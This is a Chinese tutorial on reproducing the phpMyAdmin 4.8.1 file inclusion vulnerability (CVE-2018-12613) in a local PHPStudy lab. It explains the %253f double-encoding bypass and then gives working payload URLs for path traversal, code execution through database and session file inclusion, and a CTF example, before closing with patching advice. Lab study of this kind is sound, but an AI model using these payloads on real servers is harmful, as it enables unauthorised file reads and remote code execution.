用PHPStudy在Windows上复现phpMyAdmin 4.8.1文件包含漏洞(附详细配置与双倍编码绕过技巧)
Windows环境下PHPStudy搭建phpMyAdmin 4.8.1漏洞靶场实战指南在安全研究领域漏洞复现是理解漏洞原理和提升实战能力的重要途径。phpMyAdmin作为广泛使用的MySQL管理工具其历史版本中的文件包含漏洞CVE-2018-12613因其典型性和教育意义成为许多安全爱好者入门Web安全的首选实验案例。本文将手把手指导您在Windows环境下使用PHPStudy快速搭建漏洞环境并深入剖析漏洞利用的核心技术。1. 实验环境搭建与避坑指南1.1 PHPStudy与phpMyAdmin 4.8.1安装PHPStudy作为Windows平台最便捷的PHP集成环境极大简化了环境配置流程。以下是具体安装步骤下载组件从官网获取PHPStudy最新版推荐v8.1下载phpMyAdmin 4.8.1版本压缩包部署环境# 解压phpMyAdmin到PHPStudy的WWW目录 C:\phpStudy\WWW\phpMyAdmin-4.8.1\版本匹配建议组件推荐版本兼容性说明PHP5.6-7.0避免使用PHP7.2MySQL5.5-5.7确保与phpMyAdmin兼容注意若安装后访问出现空白页需检查PHP错误日志常见问题是缺少mbstring扩展在PHPStudy面板中启用即可。1.2 关键配置项修正首次登录phpMyAdmin时会遇到$cfg[blowfish_secret]配置错误提示。这是安全机制的一部分需要手动修正打开配置文件C:\phpStudy\WWW\phpMyAdmin-4.8.1\libraries\config.default.php修改以下参数$cfg[blowfish_secret] 此处填入32位以上随机字符串; // 示例a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0Session目录权限确保phpStudy\Extensions\tmp\tmp目录有写入权限在php.ini中检查session.save_path配置项2. 漏洞原理深度解析2.1 漏洞触发条件分析该文件包含漏洞存在于index.php对target参数的处理流程中核心验证逻辑如下// index.php关键代码片段 if (! empty($_REQUEST[target]) is_string($_REQUEST[target]) ! preg_match(/^index/, $_REQUEST[target]) ! in_array($_REQUEST[target], $target_blacklist) Core::checkPageValidity($_REQUEST[target]) ) { include $_REQUEST[target]; }绕过检查需要同时满足五个条件其中最关键的是checkPageValidity()函数的验证。该函数存在三重验证机制白名单直接匹配$whitelist array(db_datadict.php, sql.php, ...); if (in_array($page, $whitelist)) return true;单次URL解码验证$_page mb_substr($page, 0, mb_strpos($page . ?, ?)); if (in_array($_page, $whitelist)) return true;双重URL解码验证$_page urldecode($page); $_page mb_substr($_page, 0, mb_strpos($_page . ?, ?)); if (in_array($_page, $whitelist)) return true;2.2 双编码绕过技术详解漏洞利用的关键在于构造特殊的%253f编码编码过程分解原始字符?第一次编码%3f服务器自动解码第二次编码%253furldecode函数解码验证流程时序请求URL: targetdb_datadict.php%253f/../../../../etc/passwd → 服务器自动解码db_datadict.php%3f/../../../../etc/passwd → urldecode函数解码db_datadict.php?/../../../../etc/passwd → 白名单验证通过db_datadict.php在白名单中 → 最终包含路径db_datadict.php?/../../../../etc/passwd3. 漏洞复现实战操作3.1 本地文件包含验证准备测试文件在D盘创建测试文件D:\test\vuln_test.txt文件内容可包含特殊标记如TEST_FILE构造Payloadhttp://localhost/phpMyAdmin-4.8.1/index.php?targetdb_datadict.php%253f/../../../../../../../../../D:/test/vuln_test.txt结果验证成功包含时页面会显示测试文件内容若失败检查路径深度可能需要调整../数量3.2 数据库文件包含实现代码执行创建测试数据库CREATE DATABASE test_vuln; USE test_vuln; CREATE TABLE exploit (code TEXT); INSERT INTO exploit VALUES (?php phpinfo(); ?);定位数据库文件MySQL数据文件通常位于C:\phpStudy\Extensions\MySQL5.7.26\data\test_vuln\exploit.MYD执行Payloadhttp://localhost/phpMyAdmin-4.8.1/index.php?targetdb_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/MySQL5.7.26/data/test_vuln/exploit.MYD提示实际环境中数据库文件可能因存储引擎不同而扩展名各异InnoDB引擎需查找.ibd文件。3.3 Session文件包含技巧生成Session文件在phpMyAdmin执行SELECT ?php system(whoami); ?;查找Session路径默认路径C:\phpStudy\Extensions\tmp\tmp\sess_[session_id]可通过phpinfo()查看session.save_path确认包含Session文件http://localhost/phpMyAdmin-4.8.1/index.php?targetdb_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/tmp/tmp/sess_abc123def4564. 高级利用与防护建议4.1 CTF实战应用案例以HCTF 2018 Warmup题目为例漏洞利用流程发现源码提示!--source.php--审计源码发现文件包含$file $_GET[file]; include $file;构造双编码Payload/source.php?filesource.php%253f/../../../../../ffffllllaaaagggg4.2 漏洞修复方案对于仍在使用旧版本phpMyAdmin的环境建议采取以下防护措施升级方案立即升级到phpMyAdmin 4.8.3及以上版本临时加固// 在config.inc.php中添加 $cfg[AllowArbitraryServer] false; $cfg[ServerDefault] 0;服务器配置设置open_basedir限制目录访问禁用allow_url_include在实验结束后建议立即关闭PHPStudy服务或删除漏洞环境避免留下安全隐患。对于安全研究者可将此环境打包为虚拟机镜像方便后续研究使用。